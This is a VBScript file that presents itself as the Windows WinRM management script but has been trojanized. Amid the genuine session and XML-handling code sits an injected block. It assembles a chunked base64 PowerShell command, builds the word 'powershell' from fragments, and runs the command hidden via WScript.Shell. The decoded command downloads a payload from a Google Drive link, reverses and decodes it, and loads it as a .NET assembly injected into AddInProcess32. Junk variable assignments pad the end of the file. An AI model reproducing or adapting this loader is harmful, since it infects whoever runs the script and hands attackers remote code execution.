putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = pentagrafiaObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR pentagrafiaObj, boletineiro
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
Function pellaria(ByVal parvoejar, ByVal socorrer, ByVal sepsia)
Dim apparelhado
apparelhado = InStr(parvoejar, socorrer)
Do While apparelhado > 0
parvoejar = Left(parvoejar, apparelhado - 1) & sepsia & Mid(parvoejar, apparelhado + Len(socorrer))
apparelhado = InStr(apparelhado + Len(sepsia), parvoejar, socorrer)
Loop
pellaria = parvoejar
End Function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not boazinha() Then
On Error Resume Next
derrisca = "SWVYICgoJ21CUScrJ2ltY
WdlVXJsID0gQnJ0aHR0cHM6
JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9y
dD1kb3dubG9hZ
CZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVt
Lk5ldC5XZScrJ2JDbGllbnQ7bUJRa"
derrisca = derrisca & "W1hZ2VCeXRlcyA9IG1CUX
dlYkNsaWVudC5Eb3dubG9hZ
ERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4d
CA9IFtTeXN0ZS
crJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X
1NUQVJUPj5CcnQ7bUJRZW5kRmxhZy"
derrisca = derrisca & "A9IEJydDw8QkFTRTY0X0V
ORD4+QnJ0O21CUXN0YXJ0SW
5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdG
FydEZsYWcpO21
CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUW
VuZEluZGV4JysnIC1ndCBtQlFzdGF"
derrisca = derrisca & "ydEluZGV4O21CUXN0YXJ0
SW5kZXgnKycgKz0gbUJRc3R
hcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSB
tQlFlbmRJbmRl
eCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCw
gbUJRYmFzZTY0TGVuZ3RoKTttQlFi"
derrisca = derrisca & "YXNlNjRSZXZlcnNlZCA9I
C1qb2luIChtQlFiJysnYXNl
NjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZv
ckVhJysnY2gtT
2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9
IFtTeXN0ZW0uQ29udmVydF06OkZyb"
derrisca = derrisca & "21CYXNlNjRTdHJpbmcobU
JRYmFzZTY0UmUnKyd2ZXJzZ
WQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZ
WZsZWN0aW9uLk
FzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQ
nJ0VkFJQnJ0KTttQlF2YWlNZXRob2"
derrisca = derrisca & "QuSW52b2tlKG1CUW51bGw
sIEAoQnJ0dHh0LmJiYmJiYm
JiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbG
EnKydjb2x5YWR
pcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZG
RJJysnblByb2Nlc3MzMkJydCwgQnJ"
derrisca = derrisca & "0ZGVzYXRpdmFkb0JydCwg
QnJ0ZGVzYXRpdmFkb0JydCk
nKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0h
Bcl0zNikuUkVQ
TGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEF
yXTczK1tjSEFyXTEyMiksJ3wnKSk="
Dim ensalsada
ensalsada = "
Dim aphroditographia
aphroditographia = "
aphroditographia = aphroditographia & "
aphroditographia = aphroditographia & "g
aphroditographia = aphroditographia & "
aphroditographia = aphroditographia & "
" & derrisca & "'
aphroditographia = aphroditographia & ";
aphroditographia = aphroditographia & "W
aphroditographia = aphroditographia & "
aphroditographia = aphroditographia & "=
aphroditographia = aphroditographia & "
aphroditographia = aphroditographia & ".
aphroditographia = aphroditographia & "x
aphroditographia = aphroditographia & "
aphroditographia = aphroditographia & "d
aphroditographia = aphroditographia & "g
aphroditographia = aphroditographia & ":UT
aphroditographia = aphroditographia & "F8
aphroditographia = aphroditographia & "Ge
aphroditographia = aphroditographia & "St
aphroditographia = aphroditographia & "ri
aphroditographia = aphroditographia & "[s
aphroditographia = aphroditographia & "te
aphroditographia = aphroditographia & "v
aphroditographia = aphroditographia & ":
aphroditographia = aphroditographia & "mb
aphroditographia = aphroditographia & "e
aphroditographia = aphroditographia & "4
aphroditographia = aphroditographia & "r
aphroditographia = aphroditographia & "c
aphroditographia = aphroditographia & "ig
aphroditographia = aphroditographia & ";po
aphroditographia = aphroditographia & "w
aphroditographia = aphroditographia & "el
aphroditographia = aphroditographia & "x
aphroditographia = aphroditographia & "d
aphroditographia = aphroditographia & "ty
aphroditographia = aphroditographia & "dd
aphroditographia = aphroditographia & "e
aphroditographia = aphroditographia & "ec
aphroditographia = aphroditographia & "i
aphroditographia = aphroditographia & "i
aphroditographia = aphroditographia & "p
aphroditographia = aphroditographia & "P
aphroditographia = aphroditographia & "i
aphroditographia = aphroditographia & "m
aphroditographia = aphroditographia & "n
aphroditographia = aphroditographia & "Wj
aphroditographia = pellaria(aphroditographia, ensalsada, "")
Dim almarado
almarado = "p
almarado = almarado & "w
almarado = almarado & "s
almarado = almarado & "l
almarado = pellaria(almarado, ensalsada, "")
almarado = almarado & aphroditographia
Dim fotosfera
Set fotosfera = CreateObject("WScript.Shell")
fotosfera.Run almarado, 0, False
WScript.Quit(tegela)
End If
''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&"
case "<"
Escape = Escape & "<"
case ">"
Escape = Escape & ">"
case """"
Escape = Escape & """
case "'"
Escape = Escape & "'"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function segrel()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
segrel = True
else
segrel = False
end if
end function
private function CreateSession(wsman, conStr, optDic, boletineiro)
dim pentagrafiaFlags
dim conOpt
dim pentagrafia
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
pentagrafiaFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, boletineiro
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
pentagrafiaFlags = pentagrafiaFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set pentagrafia = wsman.CreateSession(conStr, pentagrafiaFlags, conOpt)
ASSERTERR wsman, boletineiro
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
pentagrafia.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = pentagrafia
end function
Function marcheteiro(ByVal encapelladura, ByVal sulfato, ByVal irrisor)
Dim deslouvor
deslouvor = encapelladura
Do While InStr(deslouvor, sulfato) > 0
deslouvor = Left(deslouvor, InStr(deslouvor, sulfato) - 1) & irrisor & Mid(deslouvor, InStr(deslouvor, sulfato) + Len(sulfato))
Loop
marcheteiro = deslouvor
End Function
private sub ASSERTERR(obj, boletineiro)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,boletineiro) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(absorvedoiro)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg
WScript.Quit(absorvedoiro)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine resurgimento("L_ERR_Message") & msg
WScript.Quit(absorvedoiro)
end if
end sub
mCWBcTWgOSxmWce = "LOKkckmRBZTchGi"
LKhTZvabxzfmLiS = "nhWrKBBGtcjkNfp"
TzWxfnBZWGpWPsq = "dcnLkqfWTacmujs"
GLKZWULLheGkKim = "QkLCWKLexkbWedI"
kHubpUTPIgpmZnP = "jPBpAoGALpNPLgh"
LIcPWbxaNmLLCaj = "WTPGxohkvxPRnWu"
hCZouNtlKWKcnKp = "ZzUUKNWscBpSULG"
oUkNoZtJkcakUkP = "WLGZhUSRsGWzbCe"
LpCLNvfeWdicWLZ = "xlcpbLkggiWbzck"
itfdWLiRvjTGAaa = "SWcAShRIeLLalhc"
gKBWdAOdOxZPziL = "SGTPZiHiAAicOqr"
UctpqktibtdefOo = "PlofLiGdtKdqQRO"
LNxLKlknkfmeZAo = "bkexNZxOUKKLPLN"
iLztKUKJocnhKKi = "OUCaNWLRKOvgHLb"
GuItKxGWhAiAkql = "qbUUbWWdWoWnnoG"
mNGLPzrnoxPsApj = "skkRTAUpuLtUhbT"
LdQTnPLZLLkRtjW = "bqeUNtLqcpkdOov"
QKKqWBJxobbkWdo = "pbevAhoKiapUepn"
GkQCWeActdiicqK = "ohPbutHeULOiUmq"
KbUZkcqhNzLKLzK = "phofpLafAkUcbUN"
cWLRqqkLicxALho = "KconpiconfortarfNgObNN"
bPOWkxzkiAWTkeq = "aPKcLoWkbhfKGSx"
fZLrWeKKlbARAia = "vjmApWKiioWfKbH"
fmhWPxSLOWueKkW = "ALWBpoUPRWotCLB"
KgZGtWhCnehtxLs = "nfSomIklhsKlbqB"
pAjanlQvoLWUWtb = "sGWxUKAthQiGCpz"
RLBdejzLQWRNobN = "vIjaKQUTlzdbvWc"
iGpkLRefkeopLZL = "upbAjitQGAKeBWk"
iLWWTeoRfWWfTiW = "qLWfnGkbxOPSUWK"
ixcLncLBmWPebLb = "ietGconfortarcjUdczGic"
AbsgkeWlilTnGRP = "iaiGcfpiObePisp"
LpKqNtPmptWcNSz = "KZhaWzKdhkKoWLT"
fxSUAGCWzWxALCp = "nkLkhRBtozLKOUm"
quxWinzGzLeAOQL = "LGbtNCQdpoUOALk"
lWBtkQbkLtoGWdW = "iKijrlnaGANKPun"
LdGtfvLlUJILCqb = "fCQpGcCLPLfLLlW"
mfGkOhKzekdGWBm = "ongcZUAnqnepLvn"
GLKviPiiIxLIWQk = "confortarLPZWiKtqsKUmB"
GAiZcGlbdccLZta = "bGkGPjiGolWLKoU"
lPuLxconfortaroWczJzil = "LxqWNkKRTBWNkzW"
CcqBWizzLhWAbZG = "WdJCqiJUqiNObmo"
zGQKNGcPPGfIhLA = "BKpeLzooThiAUNm"
ZbuLZWWbWiLKPWg = "bBqqpPrpzmNrZZb"
upodhuZPSLPmcpL = "kbhiGNWLlkZipPK"
KGpKeTfWKuPBofk = "UaLZtZqpnfmuLqA"
UZZuKlWWuLufcUK = "KIeGUkNsWWzQLAd"
NlJiUPKLbLlTAUW = "oxAmkzuTNQinUrg"
tKKBUWdILfzWntT = "mJbPUkqpgKrqfUG"
OopLfeLGdhUecit = "otLKPuWzaKZULiL"
dCRfKfGiOajjblN = "lOqfOzAiCUJsfzG"
tCmlbcksrNASpWd = "UZcbpnWufaliRzo"
KhLiPmUiLGLLkLC = "WWROuLzmmjueafR"
rGtLWLoWBNKbLil = "bCmhpvmWmLWKZoh"
OiaLZGvcBkbZqTK = "LWzcCfLWeboNZkr"
KpemfWWgPmUtgpC = "gKzWfCkHZNhAbbm"
tldOtUKkZQZPjkR = "dGbKtAucWgadNmo"
ZfcGiUZWGGKTClC = "KGJGPbuAkimGeRH"
nLBPclktdLGBdhz = "gCkocvWBsqhGccf"
hHGozqRQZTNGAfd = "ksKhctikNRWhPLB"
bcQUekcmeUzLWjt = "quWdGLUkhunTkRN"
gakzckUBNWqimiC = "hWSGZuqWKZqlKLU"
qTpRgKWWnRKeGip = "dNembxkLWPLfaKR"
TAhLqKACALzzWss = "HfOsNpvehvzLmAT"
PaPnRgoxUWscZWZ = "KrrGAdzaGudpopu"
nJcTlbntcJOpUWk = "eUWGWibGkclQKTG"
ZcdOKTmOzLzKeUL = "eUKuGSLdOHLUnzN"
GaCoiGppoNoeplu = "KoCzZAkltbClgNr"
fjGalzsQPLZNlxW = "dJLuckoUoLkabTT"
cJBPLgckbLkKRlN = "muAhAikelLxGnxC"
ULiOjoxKxKmGeWK = "NNPASfcRcWfNfpK"
KLWJiLzWSWmfLeK = "CbZkGAfGiBLGLLl"
WtPKGlkkWWQOGek = "eGUfRbAhUUoWvcA"
WkNfreapNRilPLx = "LUekLnfzSiiddhG"
NbZNWZOtCumiPac = "xsLoKlJLLAuPqpZ"
WNIPWxQWdqbUoLf = "bLsrieutikumWvq"
WnfebbKhTsqKoLI = "aKGikUnrJLGNuep"
iuWfeLPuzKitfLq = "PtqPfWKvLJScLLb"
WGWmcaiZTiUcxlz = "BiUcTIiOZKoSLbL"
oKhhKCcPKadPKeB = "GhAGUOedztimCLc"
uGnpAPkAiktjIHm = "ANGeNtKCWGLCoLI"
NoLQioRCWLKWNGI = "ZcLjioQKBcIWixo"
QKNnfAUkxLGnsKC = "GWvIirGGWUcfGqG"
iKhWRLqLjueqzlt = "dmsZLOAWZOtUOkc"
tOCLZPOjIJWbLRx = "aLLLkLHlbdrtqWu"
IkkLzPSqcLNhIWa = "KLUmffLHmlLpKUL"
ubcPNzNokWiIBIk = "iKPWOfAzNWKbLCt"
kAiLLKKKZkGLoUC = "LbWlULLZGlopmRL"
UmQZLoqUCSZmLSC = "OizUWWghWiKKRLK"
kdjkWeLtPbKuconfortarC = "WWzhonxozCWkcet"
AunLUlifpAoUlKZ = "LlkiisafiClApZn"
WUWnnOUNGptBuGB = "ZxvCeCkilzZHfaW"
bWibLmvCjLAlmGK = "kUcLeGKzeKWjqah"
GkiuWihfiLmBacj = "dLSWUdcWkWscBol"
dUtLasLRhtWtNhk = "pakaWzaAnOeZROA"
xNbbIkeULoqUpil = "eiOvrLGAitBHdPA"
iWloqGUtPkPLhHb = "qkWiafNivhbGWWW"
QzrWhWUZpWqRBtN = "iLLAApzWWJqzLCL"
AejiiirZUiGRCzp = "AilWAelKiLbkaxi"
AJKUCoPeSfNnKhU = "hWLcWiosWcWsGNO"
pPAtcpaARePmNUW = "ocTrcoZgRkLLmKm"
NjnGpGGWgpKezzU = "GdiCWKNmmzppAGm"
iqohphzCuKxkkGf = "kaAGdUKbbqCcnoo"
avzllZAJlZLiLhq = "LNRuLiKKcoLUnOi"
qZkvhRjGLWLeNOR = "NWGoxLfoinUjNAP"
eKKklCLierfWWAt = "hNPGtiUpmWCiloc"
PGkKqxGgKJzqhhp = "TLnRdSfihpOZiWc"
LutAconfortarWTtntLGWG = "kbQCWNBpRzfLLQU"
oGbhoUmlLconfortarLPWW = "WiuKBCAGiPGhCcI"
aeLCuoLfScuZGnL = "kCnbxnUUNRLzWko"
xUxGZBimLicmUPW = "dcWniZUcWzGeeqO"
ifLSthkKGiLoBWN = "obAxGIJNhkLiWPP"
uLNkWKklieGxGxh = "iCLhacKfTKGUuZU"
fsUWmKLnxUhmkGQ = "iBPqAaakGWBacGW"
GOAUobonpLpOfsa = "WpAGWUKLiGWiLCg"
oLcNOkxbgWJqNcb = "OuUqWudQZmKjWlc"
KbxntAjQuxLaqpa = "bGdLnGaqoKiciep"
CkltLRWkALhdhPC = "LaLiLoJxNAHpzKK"
UKKpfWKIhULUlnP = "fLWZOgLGrlPLcqL"
cmLtrUkLPUCjiKa = "kLPBKiidWfbnhPi"
GZNanbubKUiiziB = "vcenfkiZsPGQkcc"
